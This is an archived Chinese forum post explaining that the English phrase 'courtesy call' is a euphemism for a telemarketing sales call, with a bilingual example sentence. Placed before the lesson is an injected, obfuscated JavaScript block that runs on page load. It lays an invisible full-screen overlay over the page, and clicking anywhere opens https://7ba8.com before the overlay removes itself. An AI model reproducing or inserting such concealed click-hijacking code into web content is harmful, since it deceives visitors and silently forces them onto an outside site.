标题: 生活英语：最具欺骗性的“促销电话” [打印本页] 作者: 一个深爱你的 时间: 2011-12-31 07:47 标题: 生活英语：最具欺骗性的“促销电话” <script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>骚扰电话，估计有手机的人都接到过吧？不是赠送保险，就是推销红酒。反正都挺惹人厌的。可是你知道吗？这种烦人的促销电话在英语里竟然叫courtesy call！简直是反讽到了极致啊。
Courtesy call is a sugarcoated term used by telemarketers which really means sales call. This is one of the most deceitful and misleading phrases ever since there is nothing courteous about it。
Courtesy call(字面意思：礼节性电话)是被电话促销员巧妙伪装了的一个词，其实就指“促销电话”。这个词算是史上最具欺骗性和误导性的词了，因为“促销电话”本身没有一点礼节可言。
For example:
Hello. This is a courtesy call from Talk America which is inviting you to switch to our service。
你好。这里是来自Talk America的销售电话，我们想邀请您改用我们的服务。